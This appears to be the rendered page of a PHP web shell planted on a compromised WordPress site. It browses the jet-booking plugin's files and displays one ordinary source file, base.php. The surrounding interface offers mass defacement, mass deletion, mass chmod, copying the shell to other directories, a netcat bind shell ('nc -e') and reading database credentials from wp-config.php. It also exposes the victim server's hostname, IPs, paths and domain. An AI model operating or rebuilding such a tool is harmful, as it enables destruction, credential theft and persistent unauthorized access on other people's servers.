WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-booking / includes / db / tables / [dxwrx-r--r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/db/tables/base.php (3.4 KB)
<?php

namespace JET_ABAF\DB\Tables;

defined( 'ABSPATH' ) || exit; // Exit if accessed directly.

abstract class Base {

	/**
	 * Check if DB table already exists.
	 *
	 * @var bool
	 */
	public $table_exists = null;

	public function __construct() {
		if ( is_admin() && ! wp_doing_ajax() ) {
			add_action( 'init', [ $this, 'install_table' ] );
		}
	}

	/**
	 * Return table slug.
	 *
	 * @since 3.3.0
	 *
	 * @return string
	 */
	public function table_slug() {
		return '';
	}

	/**
	 * Returns WPDB instance.
	 *
	 * @since 3.3.0
	 *
	 * @return \QM_DB|\wpdb
	 */
	public function wpdb() {
		global $wpdb;

		return $wpdb;
	}

	/**
	 * Returns table name.
	 *
	 * @since 3.3.0
	 *
	 * @return string
	 */
	public function table() {
		return $this->wpdb()->prefix . 'jet_' . $this->table_slug();
	}

	/**
	 * Returns table schema.
	 *
	 * @since 3.3.0
	 *
	 * @return string
	 */
	public function get_table_schema() {
		return '';
	}

	/**
	 * Check if table already exists.
	 *
	 * @since 3.3.0
	 *
	 * @return boolean
	 */
	public function is_table_exists() {

		if ( null !== $this->table_exists ) {
			return $this->table_exists;
		}

		$table = $this->table();

		if ( $table === $this->wpdb()->get_var( "SHOW TABLES LIKE '$table'" ) ) {
			$this->table_exists = true;
		} else {
			$this->table_exists = false;
		}

		return $this->table_exists;

	}

	/**
	 * Create DB table.
	 *
	 * @since 3.3.0
	 *
	 * @param boolean $delete_if_exists Recreation status.
	 */
	public function create_table( $delete_if_exists = false ) {

		if ( ! function_exists( 'dbDelta' ) ) {
			require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
		}

		if ( $delete_if_exists && $this->is_table_exists() ) {
			$table = $this->table();
			$this->wpdb()->query( "DROP TABLE $table;" );
			$this->table_exists = null;
		}

		if ( $this->is_table_exists() ) {
			return;
		}

		$sql = $this->get_table_schema();

		dbDelta( $sql );

	}

	/**
	 * Allow child classes do own sanitize of the data before write it into DB.
	 *
	 * @since 3.3.0
	 *
	 * @param array $data Table data.
	 *
	 * @return array|mixed
	 */
	public function sanitize_data_before_db( $data = [] ) {
		return $data;
	}

	/**
	 * Insert data into database table.
	 *
	 * @since 3.3.0
	 *
	 * @param array $data Data to insert.
	 *
	 * @return false|int
	 */
	public function insert( $data = [] ) {

		$data     = $this->sanitize_data_before_db( $data );
		$inserted = $this->wpdb()->insert( $this->table(), $data );

		return $inserted ? $this->wpdb()->insert_id : false;

	}

	/**
	 * Update table info.
	 *
	 * This function updates existing data in the database table based on the provided conditions.
	 *
	 * @since 3.3.0
	 *
	 * @param array $data  New data to update.
	 * @param array $where Update identification.
	 *
	 * @return void
	 */
	public function update( $data = [], $where = [] ) {

		$data = $this->sanitize_data_before_db( $data );

		$this->wpdb()->update( $this->table(), $data, $where );

		do_action( 'jet-booking/db/update/' . $this->table_slug(), $data, $where );

	}

	/**
	 * Delete table data.
	 *
	 * @since 3.3.0
	 *
	 * @param array $where Delete identification.
	 */
	public function delete( $where = [] ) {
		$this->wpdb()->delete( $this->table(), $where );
	}

	/**
	 * Install tables.
	 *
	 * Try to recreate DB table by request.
	 *
	 * @since 3.3.0
	 */
	public function install_table() {

		if ( ! current_user_can( 'manage_options' ) ) {
			return;
		}

		$this->create_table();

	}

}
namawaktuukuranownerpermaksi
..
base.php 2026-07-21 14:163.4 KB 76129f60960:kunden-xw-x-----
edt
bookings-meta.php 2026-07-21 14:162.41 KB 76129f60960:kunden-xw-x-----
edt
bookings.php 2026-07-21 14:164.21 KB 76129f60960:kunden-xw-x-----
edt
units.php 2026-07-21 14:161.03 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/includes/db/tables
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK